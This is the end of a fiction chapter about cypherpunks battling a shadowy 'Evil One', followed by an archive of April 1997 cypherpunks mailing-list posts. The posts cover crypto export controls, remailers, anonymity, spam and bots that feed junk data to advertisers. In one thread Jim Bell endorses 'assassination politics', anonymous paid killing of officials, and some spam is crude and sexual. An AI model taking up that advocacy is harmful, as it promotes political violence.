members of the Dark Forces elite stood ready to open the rear
doors. As the limousine came to a stop, however, the driver's
door opened, and the Cowboy stepped out to greet them.
"I hope I'm not late." the Cowboy exclaimed congenially
as he bounded up the steps. He stood face to face with the dreaded
Cron and added, "I'd hate to keep such an important gentleman
as the Shadow waiting."

The Shadow's countenance was blazing with an internal rage as
the Cowboy made his entrance, flagged by a half-dozen members
of the Dark Forces. Schultz was nowhere to be seen and the Shadow
had realized immediately that the Cowboy was here of his own volition.

His face grew even darker as the Cowboy smiled fondly at Bubba,
Priscilla, Alexis and Jonathan. Something was dreadfully, dreadfully
wrong. The Shadow struggled to maintain his composure as his heart
sank.

The mass of people in the back of the Great Hall, who had been
rounded up at Bubba's safe house began conversing in quiet tones
which rose to become a great murmur, resounding through the hall.

"Quiet!" Gomez screamed, quickly reducing their conversations
to near silence.

The Cowboy rose the few steps leading to the podium and stood
beside the Shadow, smiling benignly.
"Sorry if I'm a tad late," the Cowboy said, "but
Mr. Schultz's directions were a little vague." He stood,
waiting, for the Shadow's reply.

"Why don't we all have a drink." the Shadow responded,
playing for time while he endeavored to read what this startling
train of events portended. He motioned the Cowboy and his small
group of friends toward the bar.
They moved, as a group, toward the bar at the back of the hall,
with Priscilla, Alexis and Jonathan showing signs of extreme trepidation
and unease. The Cowboy and Bubba, however, seemed quite at ease,
despite being deep within the Inner Sanctum of the Evil One and
the Dark Forces.
The Cowboy stood silent, sipping his drink, obviously waiting
for the Shadow to begin the conversation. Gomez realized that
it was himself who was in the dark, and conceded his position.

"I presume that you have been engaged in some sort of activity
since your release from Nuthouse Number Nine." the Shadow
ventured.

"Not at all." came the Cowboy's truthful reply.

The Shadow was wary, but he knew that the Cowboy was not playing
games.
"So your situation hasn't changed then, has it?", the
Shadow continued, but he instinctively knew that the answer he
was about to hear was not one that he desired.

"The situation has changed immensely," the Cowboy replied,
nodding to Jonathan, who broke out in an ear-to-ear grin, "and
I'm sure that your guests," he nodded toward the masses at
the back of the hall, "would appreciate your announcing that
the banquet you have prepared is ready for them to sup from."

The Shadow burned inside with a violent fury, but he realized
that the Cowboy was, once again, making him 'pay to play.' The
Cowboy would not be forthcoming with the information that he wanted
unless the Shadow conceded this small concession.
"I could have them shot." the Shadow contended, not
willing to concede so easily.

"All the more to confirm the existence of the Magic Circle
to those outside this room." the was the Cowboy's unsmiling
retort to the Shadow's threat.

"Seat our guests." the Shadow shouted to his
minions, waving in the direction of the startled mass of people
at the back of the Great Hall, and snapped his fingers at Cron,
pointing toward the tables which had been set in preparation for
the Dark Forces grand feast following their victory.
Cron rushed to the kitchen to set the staff in motion.

"Thank you." the Cowboy responded graciously, and then
turned to Jonathan, who spoke slowly and clearly, despite the
fact that he was obviously shaking in his boots.
"Excuse me Mr. ...," Jonathan realized he wasn't
sure how to address the person to whom he was speaking, "...Sir,
but I think that perhaps you should check your recent CyberPosts."
He stopped, and receiving no reply, added, "I believe that
there is a message of common interest to all of us."

The Shadow placed his thumb upon the Identity Verification module
of a nearby GraphiCube and hit the CyberPost update key. The screen
leapt to life, and the Shadow found himself confronted with a
ghost from the past.

>From - Sun, Jan 19 7:09:00 1997
Return-Path: <owner-cypherpunks@toad.com>
Received from toad.com([140.174.2.1]) by mercury.grill.sk.ca for

<HumanGus-Peter@grill.sk.ca>
Received (from majordomo@localhost) by toad.com (8.7.5/8.7.3)
id IAA20555;
Message-Id:<199702011555.IAA20555@toad.com>

Date: Sun, 19 Jan 1997 08:40:04-800
To: cypherpunks@toad.com
>From "Timothy C. May<tcmay@got.net>
Subject: To Whom It 'May' Concern
Reply-To: "Timothy C. May"<tcmay@got.net>
Sender: owner-cypherpunks@toad.com

"We have met the enemy, and he is us."

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:

Timothy C. May----------- | Crypto
Anarchy: encryption, digital money
tcmay@got.net-------------| anonymous
networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information
markets
Higher Power: 2^1398269 -| black markets,
collapse of governments. 
"National borders aren't even speed bumps on the information
superhighway.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:


The Shadow spun around furiously to face the small group, once
again, only to be met by the last thing he had expected to see,
after all these years, as Jonathan finished rolling up the sleeve
of his shirt.
A slight, but audible, groan came from the depth of Gomez's bowels,
rising to a fever-pitched scream that was inaudible, but which
showed in every fiber of his being, nonetheless.
The Mark of the Toad.

CypherPunks! The one group of misfits that he had always watched
with the utmost concern, deeming their group, if any, to be the
one that might harbor the secret lair of the Circle of Eunuchs.

The Shadow had brought all of his agents to bear on this interminably
insolent group of anarchists, searching for any sign, for the
slightest indication, that they were acting in concert, as a unit,
to foil the plans of the Evil One. Every indication had been that
they were indeed just a rag-tag band of anarchists, shooting themselves,
and each other, in the foot, as they railed ceaselessly against
forces that they ill-understood.

"You only had time to send a single post, before you and
Alexis fled to the safe house." the Shadow proffered, hoping
against hope that he was right. "You and she were monitored
the whole time. We only let you proceed in order to let you lead
us to the others."
"You sent just a single post." the Shadow reiterated.

"And I'm the fucking Pope." Jonathan shot back, resurrecting
a favorite phrase of his late grandfather, knowing that the Shadow
would be well versed in the nuances of his grandfather's verbal
proclivities.

He couldn't help rubbing it in a bit, saying, "The Anonymous
Remailers and the SpamBots are a marriage made in Heaven, even
when they're named Lucifer."
Jonathan knew that the Shadow wouldn't miss the significance of
the remailer whose historical address was lucifer@dhp.com.

The Shadow shot Jonathan a fiery stare which would melt the soul
of most any mortal, and realized that Jonathan was protected from
his gaze by the certitude that comes from speaking the truth.

Nevertheless, he instinctively turned to the GraphiCube once again,
and drew up the next CyberPost.

To: cypherpunks@toad.com
From: TruthMonger <tm@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-SpamBot: Full Broadcast
X- SpamHeader: "_fuck_you_morons_"
X-Comments: -
X-Comments: - "They'll take my cryptography when they pry
it from 
X-Comments: - my cold, dead algorithms."
X-Comments: - Cyphernomicon

X-Comments: -
X-Comments: This message is NOT from <TruthMonger>. It was
remailed
X-Comments: by an automated anonymous remailer. Send all complaints
and
X-Comments: requests for blocking to <Mythos@Black.Bitch>.

X-Comments: -
X-Remailer-Setup: Maximum Message Size - None
X-Remailer-Setup: Maximum Recipients - Infinite
X-Remailer-Setup: PGP messages accepted

Subject: Make Big $$$ Licking Your Own Dick
Sender: owner-cypherpunks@toad.com

_fuck_you_morons_

How would you like to MAKE BIG $$$ while doing
what you're already doing every single day-SITTING AT HOME, LICKING
YOUR OWN DICK?

Sure, I know what you're thinking. This sounds
TOO GOOD TO BE TRUE, right?
Well, friend...


The Shadow had seen enough to realize that the messages had undoubtedly
been spread far and wide. Those who failed to recognize the significance
of the Tim May post would certainly recognize the work of the
Doctors of Spamology--Vulis, Grubor...whoever. While the CypherPunks
had been relegated to the status of dusty, villainous legends
in the minds of most of humanity, Spamology had never lost its
status as a pleasant pastime for the lower primates, and the Evil
Doctors, as they were known in their own time, were now regaled
as heros who had battled the traitorous CypherPunks.

The Shadow turned to the Cowboy, once again, attempting to hide
his discomfiture, and said, blandly, "So what do you propose
that we do now, Cowboy?"

"We eat, we drink, and then we all go home." the Cowboy
replied, matter-of-factly. "Then we wake up in the morning
and we continue the game, as before."

The Shadow stood in silence, contemplating his options, but every
way that he figured it, the reality of what the Cowboy said was
obvious.
Slaughtering those assembled here would only help to spread rumors
on the outside of the true existence of the Circle of Eunuchs
as a real, existing force that was joined in battle with the Evil
One and his Dark Forces. It would inspire others to join in the
battle-unknown others in unknown places, picking up the torches
that they deemed to have been dropped by the martyrs that would
be created if the Shadow followed his natural inclination to eliminate
these troublesome pests.

If he let them return to their dreary, boring lives, then he could
counter whatever reports they made to others by engaging the momentous
forces of disinformation that he had at his disposal. If everything
continued as before, then their wild-eyed claims would be no better
received than those of the drunken fool, Bubba Rom Dos. They would
be nothing more than additional, unbalanced voices, crying in
the wilderness.
And in time, even most of those involved in this whole affair
would begin to doubt its reality, themself. It would become just
another fuzzy dream as their minds drifted back into the group
consiousness around them-a massive gravitational pull that would
return them into the passive mind-set desired by the Evil One.

The Shadow turned to the small group awaiting his response, and
said, perfunctorily,
"Tomorrow, we begin again."

The Shadow turned and stalked off to his private quarters at the
back of the Great Hall, leaving an icy trail of aloofness behind
him.


Chapter 36 - Cyphernomicon







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: worker@inforevo.com
Date: Sat, 19 Apr 1997 17:32:39 -0700 (PDT)
To: success@nowhere.com
Subject: "Find The Dirt On The Internet" Updated Version
Message-ID: <199702170025.GAA08056@nowhere.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 19 Apr 1997 18:38:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Militarily Critical Technologies List (MCTL) tersely
describes the full range of technologies controlled by the 
ITAR, EAR and Regimes like the Wassenaar Arrangment.
Information systems and cryptography are covered in
Section 8 of the MCTL which we've put with the TOC at:

     http://jya.com/mctl08.htm

It provides an informative chart that compares information
systems capabilities for 27 nations, and the leaders in a
few cases are surprising. 

The document summarizes crypto:

  1. Cryptanalytic Technologies (for breaking
  ciphertext): 

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to test the ability of
  cryptanalytic systems to perform key searches,
  statistical, linear and differential cryptanalyses; and
  factor 110 decimal digit, or larger, numbers.

  Unique Software: Operating systems and applications for
  massively parallel cryptanalytic processors (> 16
  processors) specially designed to perform statistical,
  linear and differential cryptanalyses, exhaustive key
  searches and quadratic and number field sieve
  factoring.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

  2. Cryptographic Technologies (for keeping data
  secure):

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to perform Randomness,
  Correlation, Weak Key and Symmetry Under
  Complementation tests to evaluate the strength of new
  USG encryption algorithms during development.

  Unique Software: The software providing the
  cryptographic functionality must be specially designed
  and integrated into each application. The system
  engineering and integration, user system interface,
  algorithms and key generators must have zero defects.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

The document states, "A high rate of IS knowledge transfer
from the US to foreign competitors occurs through open
source US trade journals, technical literature, various
international fora, the Internet and intelligence. As a
result, the US technology leadership in communications and
computer systems has declined in recent years relative to
Europe and Japan."

Section 9 covers Information Warfare Technology and will
interest those who wonder what technologies may be more
effective than cryptography for information security, as
the NRC Crypto Report suggested. We've put this section
(in its original PDF format) at:

  http://jya.com/mcsec09.pdf (122K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 22:06:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
Message-ID: <199704200506.WAA05133@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
> > If the Netscape folks would integrate digicash into Communicator,
> > then I could program my browser to only send referer to sites that
> > paid for the information, and rent cookie space.  Want your cookie to
> > live till 1999?  Thats 24 months, at 50 cents per month...do you want
> > to pay?
> 
> That would only work until someone abuses it. People could create web
> robots to run around selling referers and several gigabytes of
> worthless cookie space. Worthless, because nobody cares about the web
> browsing habits of J. Random Robot, and they certainly don't want to
> blow $50 e-bucks on the bot's repeated visits.

  Why doesn't somebody come up with a program that gives identity
probing programs the identity of browser programmers/executives,
and make a cookie file that indicates visits to hate-group and hard-
core porn sites?

  Not that Toto's a troublemaker...

NoTot[h]o[mo]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 00:36:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: David Friedman and assassination politics
Message-ID: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


So I just walked home from a party in Dupont Circle where some folks were
telling me about a talk David Friedman gave at the Cato Institute about a
week ago. (Apart from being Milt's son, David appears to be a
well-respected libertarian thinker in his own right.) I didn't have the
chance to go myself... 

Friedman, as I understand it, described how digital cash and anonymous
remailers combine to form assassination markets. An assassin can establish
a persistent anonymous identity through public key cryptography and take
bids on future contracts.

These ideas is of course not new to cypherpunks. We've been talking about
them for years. But these ideas are slowly infiltrating the DC body
politic. Assassination politics, here we come -- right, Jim? Want to give
a speech at Cato? Perhaps we can talk some IRS officials into coming...

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 19 Apr 1997 22:50:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704200550.BAA06124@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> List members,
> 
> Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> 
> Just attribute it to me.
> 
> Anonymous

  Sounds to me like Anonymous is trying to take credit for Nobody's
creation.

Nobody (#2)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 20 Apr 1997 02:04:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymous Cowards
Message-ID: <199704200904.CAA10903@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> for a long time we had several pseudonyms who contributed a lot.
> 
> However, in the past several months we've been seeing (apparently) drunken
> rants by "TruthMonger," "TruthMangler," "Bubba Rom Dos," and so on. And
> none of these are signed, so various "TruthMongers" are involved.

  I hardly think you need to be so polite as to add "(apparently)"
to the description of Toto's rants, whether she does so as TruthMonger
or not, since she certainly makes no bones about her personal habits,
herself.
 
> (One of the drunken ranters, "Toto," has apparently let his real identity
> slip a couple of times, or perhaps someone else is adding the "Toto" stuff
> to confuse things. It's also likely Toto and some of these other anonymous
> ranters are one and the same.)

  If you have questions about Toto's *real* (government approved?)
identity, or which posts she is (or is not) responsible for for, then
you might consider asking her via private email. I did so and found
her to be quite forthcoming about pretty much anything I asked her.

> In any event, the various anonymous posts in the past few months have been
> disappointing. Rarely does anything substantive come out of their
> anonymity. And they lend support to those who would restrict anonymity (I
> am not one of those) by using anonymity as a shield for cowardly insults
> and attacks.

  Substantive for whom? During the debates about Gilmore's moderation
experiment there was much discussion on the list as to what constituted
substance and what did not. There seemed to be three varying opinions
for every two cypherpunks addressing the issue.

  As far as claiming to not support the restriction of anonymity, while
at the same time labelling those who use it as "cowards," this seems
to me to border on hypocrisy.
  ("I don't support discrimination against people of color, even if 
they *are* shiftless and lazy.")
 
> So, the anonymous posters are not using the pseudonym capabilities digital
> signatures can provide.

  If you have such a deep-seated need to be able to label anonymous
posters with a consistent pseudonym, then perhaps you might suggest
that the government issue them pseudo-identity numbers.

> They're just scribblers on bathroom walls.

  Some who pay a significant amount of attention to all posts which
pass through the cypherpunks list consider many of their scribblings
to be "Stego" scribblings. And what may be seen as FUD and ranting
by some is seen as probing and filtering by others.

  Since you seem to be somewhat fixated on Toto, for whatever
reason (BTW, I have nude pictures of her available), I will offer
some of my own observations as to what I perceive to be the methods
to her madness.

  For starters, anyone who cares to reveiw her posts to the list
since her assumption of the Toto persona can verify the following:
1. She predicted the commencement of the moderation experiment.
2. She noted Tim's absence from the list in a matter of days,
  rather than the *weeks* that others took to note the absence
  of his posts.
3. She both predicted and confirmed most of the malefeasence in the
  moderation process instituted on the list and provided information
  as to how others could confirm these facts for themselves.
  (In this respect, I must add my personal opinion, as one who is
  involved in significant amounts of traffic/personality/methodology
  analysis of email traffic, that her intuitive logic provided more
  pertininent information, in some cases, than volumous databases
  and programs which others have spent years compiling in order to
  achieve the same results).
4. She has not spared herself from the pointed barbs which she 
  places up the butts of others on the cypherpunks list, as well
  as being considerably more forthcoming than most about revealing
  and taking responsibility for her shortcomings and biases in 
  both her perspective and her opinions.
5. She has the fortitude to allow her words to speak for themselves,
  for the most part, without the self-serving disclaimers and
  apologetist false humility used by some on the list.
6. The subtlety of her humor is second only perhaps to that of
  Tim May, and she shares his propensity for letting it stand
  on its own, without smarmy symbols, without fretting over it
  being recognized or appreciated.
7. When she makes use of anonymity or outright forgery on the list,
  she takes pains to leave her "pecker tracks" for all to see, if
  they care to pay the least amount of attention to the details
  of her posts.
8. She was the first (and only?) one during the moderation experiment
  to note that the battleground was not so much one of censorship, but
  of infowar.
  (For those who do not see the pertinence of this statement, I suggest
  that you borrow some of Toto's Crayolas, make a heading labelled
  "Spooks," and start drawing lines between posts.)

  For those who care to follow Toto's "pecker tracks" though the
cypherpunks list, I suggest that you look to her own posts for
the broad hints she gives as to how to do so.
  As well, Toto almost invariably uses 'single quotes' to indicate
emphasis, incorrect punctuation in regard to quote marks of any
genre, and enough commas to cause a worldwide shortage for others
who wish to use them.
  She also adds a personal (usually humorous) touch to any false
signature lines that she chooses to add to her posts in order to
shake loose the robotic mechanisms that most of us use to classify
and file away preconceived opinions as to our views of a message
based on the personality of the messenger.

  Perhaps some anonymous posters do use anonymity, as Tim suggests,
to protect their valued reputational capital from besmirchment or
devaluation. (Or to avoid it moving into the negative side of the
spectrum.)
  However, perhaps others use anonymity because they have other
concerns to address which do not rely on reputation capital to
achieve their purpose.

  Anyone who wants to label Toto as a coward when she chooses 
to used a veiled persona might want to read some of her posts
under her current Toto persona.
  The fact that she does not hesitate to call a ratfucker a
ratfucker as Toto hardly lends credence to the theory that
her reason for doing the same thing pseudo-anonymously is
an act of cowardice.

  She has always shown a propensity for offering praise, as well
as condemnation, to those on the list, as well as defending 
those whom she regards as being unjustly attacked, even if she
usually has a stance that is largely divergent with that of
the person.

  Rather than suggest that those posting anonymously have some
great fear of exposure, for whatever reason, I would suggest
that some of those posting under their own name on the list
might be better served to post anonymously, as it might save
them embarassment if they should ever get their head out of
their ass far enough to notice what imbeciles they are.

   Artist
"I draw flies."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Telcoms Savings" <Telecoms4u@Telecoms.com>
Date: Sun, 20 Apr 1997 07:57:03 -0700 (PDT)
To: InternationalTelco@Savings.com
Subject: Free Faxes worldwide for you !
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Apr 1997 09:03:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: David Friedman and assassination politics
In-Reply-To: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
Message-ID: <VTPg6D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> So I just walked home from a party in Dupont Circle where some folks were
> telling me about a talk David Friedman gave at the Cato Institute about a
> week ago. (Apart from being Milt's son, David appears to be a
> well-respected libertarian thinker in his own right.) I didn't have the
> chance to go myself...
>
> Friedman, as I understand it, described how digital cash and anonymous
> remailers combine to form assassination markets. An assassin can establish
> a persistent anonymous identity through public key cryptography and take
> bids on future contracts.
>
> These ideas is of course not new to cypherpunks. We've been talking about
> them for years. But these ideas are slowly infiltrating the DC body
> politic. Assassination politics, here we come -- right, Jim? Want to give
> a speech at Cato? Perhaps we can talk some IRS officials into coming...

If they have the balls to let him talk.

I convinced Jim to submit a paper to the InfoWarCon last September, but
NSCA didn't have the balls to let him speak.  They did put him paper on
their web server, tho.

Dimitri "sick and tired of this virus" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 13:15:59 -0700 (PDT)
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: David Friedman and assassination politics
Message-ID: <199704202015.NAA01741@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 00:36 4/20/97 -0700, Declan McCullagh wrote:

>These ideas is of course not new to cypherpunks. We've been talking about
>them for years. But these ideas are slowly infiltrating the DC body
>politic. Assassination politics, here we come -- right, Jim? Want to give
>a speech at Cato? 

I'd be proud to do it.  Even after everything that's happened so far.  

Strike that; ESPECIALLY after everything that's happened so far!

The way I see it, they're going to have to deal with this issue eventually,
and it's possible that it won't be obvious to them that libertarianism and
AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 14:16:34 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970420140053.26056E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim,

For the record: I doubt everyone agrees with your "libertarianism is
intertwined with assassination politics" line... I suggest that one can
believe in minimal government and other libertarian mainstays without
seeing a need to kill off those whom we dislike, be they IRS agents or
surly supermarket clerks. 

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 00:36 4/20/97 -0700, Declan McCullagh wrote:
> 
> >These ideas is of course not new to cypherpunks. We've been talking about
> >them for years. But these ideas are slowly infiltrating the DC body
> >politic. Assassination politics, here we come -- right, Jim? Want to give
> >a speech at Cato? 
> 
> I'd be proud to do it.  Even after everything that's happened so far.  
> 
> Strike that; ESPECIALLY after everything that's happened so far!
> 
> The way I see it, they're going to have to deal with this issue eventually,
> and it's possible that it won't be obvious to them that libertarianism and
> AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: delete@netchem.com
Date: Sun, 20 Apr 1997 11:08:19 -0700 (PDT)
Subject: How to download our REMOVE (500,000 entries) list
Message-ID: <199704201911.PAA10655@we.just.reply>
MIME-Version: 1.0
Content-Type: text/plain


Dear Sir/Madam,

We got your email address from list@netchem.com.
Our software might have accidently mixed the email
addresses of those who sent email to list@netchem.com.
with the email addresses of bulk emailers.

If this the case, please email to delete@netchem.com
and you will never be bothered by us again but still 
be able to contribute to list@netchem.com.

We are compiling a list of people who hate to
receive junk email.

We will send you the list periodically.

Please do not even think about adding the REMOVE
list to your mass email list. Almost everyone
on the list will find your IP address and will
complain to us and to your upstream service providers.

To to be eligible to receive the REMOVE list, please
send a blank email to add@netchem.com with your email
address as the subject. We request a human to receive
the REMOVE list.

We are working with many Internet service providers
to filter junk email by sender's name, sender's domain
and sender's IP address. (very easy to do with sendmail).

If you honor our REMOVE list, we will not add your name
to the filtering list. Otherwise, your mass email will be
blocked immediately by many Internet service provider.

You can switch providers but it take time and you also
have to pay your providers. We can update the filtering
list for many Internet service providers in a few seconds. 

To help others and in return to help yourself, please 
send your own REMOVE list to add@netchem.com.

Sincerely,
Jerry

-------------------------------------------------
Jerry Wang, PhD, Chemechanics, Inc.					 
http://www.netchem.com, mailto:jerryw@netchem.com 
-------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:26:22 -0700 (PDT)
To: rachel@intertrader.com (Rachel Willmer)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>
Message-ID: <199704202021.PAA05908@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Rachel Willmer wrote:
| At 09:34 19/04/97 -0500, Adam Shostack wrote:
| >	I'm suprosed no one has suggested paying people for
| >advertising.  
| 
| This is one of the more novel ideas that Digital have come up with for
| Millicent. 
| 
| In return for allowing the advertiser to download their advert to you, you
| get credited with an amount of scrip which is redeemable at their site. 

	At their site?  Feh.  Thats a coupon, not money.

	I was cash.  Cold, hard cash that I can spend on nifty toys.
Otherwise, what good do all those Microsoft cookies do me?  I accept
your cookie, I get paid for it.  If I don't buy your product, then,
heck, get yourself better advertising, or a better product.



Adam
-- 
	"Cash value 1/20th of a cent."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:28:06 -0700 (PDT)
To: declan@well.com (Declan McCullagh)
Subject: Re: David Friedman and assassination politics
In-Reply-To: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
Message-ID: <199704202024.PAA05948@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


David wrote "The Machinery of Freedom" about tools that could be
developed to acheive "socially desirable" effects, such as the lack of
a single dominant protective agency, without the interference of the
state.  He also wrote about how, once developed, these structures
would self perpetuate, since there would be few reason to redevelop a
state.

Good stuff.  Well worth reading.

Adam


Declan McCullagh wrote:
| So I just walked home from a party in Dupont Circle where some folks were
| telling me about a talk David Friedman gave at the Cato Institute about a
| week ago. (Apart from being Milt's son, David appears to be a
| well-respected libertarian thinker in his own right.) I didn't have the
| chance to go myself... 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:35:33 -0700 (PDT)
To: steve@edmweb.com (Steve)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <199704202032.PAA05999@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
| > If the Netscape folks would integrate digicash into Communicator,
| > then I could program my browser to only send referer to sites that
| > paid for the information, and rent cookie space.  Want your cookie to
| > live till 1999?  Thats 24 months, at 50 cents per month...do you want
| > to pay?

| That would only work until someone abuses it. People could create web
| robots to run around selling referers and several gigabytes of
| worthless cookie space. Worthless, because nobody cares about the web
| browsing habits of J. Random Robot, and they certainly don't want to
| blow $50 e-bucks on the bot's repeated visits.

	Thats true, but can they avoid it?  I'm considering writing a
database pollution bot, which runs around, claiming to be Mozilla or
IE, and randomly following a link once per minute.  Why?  Database
pollution.  If there are a few thousand of these randomly collecing
links and creating arbitrary (or perhaps biased) viewing habbits in
the databases of the advertisers, then their individual data becomes
worth less.  They'll need to actively solicit peoples permission to
collect data before doing so, to avoid people polluting their
databases.

	Similarly, putting a randomly generated email address in those
sign up fields produces pollution in the data used by spammers, which
costs them (and no one else) money.  If you run your own site, you can
even bit bucket the email, trading their bandwidth for yours, and
making them think they're delivering more junk email than they are.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 20 Apr 1997 13:27:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: pgpmail45.exe
Message-ID: <TCPSMTP.17.4.20.-16.20.14.2780269260.1611215@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Quick question for any Win 95 pgpmail45 users:

Is pgpmail45 a front-end for PGP or is it the actual PGP-program
made as a plug-in for Eudora and Netscape? (i.e. if you'd install
pgpmail45, do you need to have PGP 2.6.2/2.6.3i installed before?)

Also, what do you think of pgpmail45? Would it be easy for
newcomers?

Please reply privately...

Thanks already in advance.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1ks3jltEBIEF0MBAQEflgf+J1lqCQ1g9YEo/wukOquBu+aGBsO2ixDh
LehzXE2Y3hOFO4/ae6wpfrkJb6tKvwFMAOSmCQHI8xlFZD2Dt21t3val7CAWLNuI
izr76Iu4htMZYSnX0dclN1Fn9Nd4EGgjmRYysWJMYRhAKJTu/N32/fSkgynzERtJ
c9dxTtDkKXA0TBHG+Qv/kscd/tx5Y/r0HGojm8euh2GtSDORC1s47ZUFUXPzq4Ay
njwVrKN6ldJMm2nw2MRq0bVurQVhqS4SyRjLzfLMoPfK60yiDTolfVS1wK1Xq7eG
KLM3qG9/SILWViwOAV3N0UZI84i6ikK0m9jx/nq4DoA6iTP5dzW3RQ==
=WB4T
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 20 Apr 1997 17:04:42 -0700 (PDT)
To: Adam Shostack <steve@edmweb.com (Steve)
Subject: Re: SSL weakness affecting links from pa
Message-ID: <v02140b04af805f8ec8b6@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>| That would only work until someone abuses it. People could create web
>| robots to run around selling referers and several gigabytes of
>| worthless cookie space. Worthless, because nobody cares about the web
>| browsing habits of J. Random Robot, and they certainly don't want to
>| blow $50 e-bucks on the bot's repeated visits.
>
>        Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
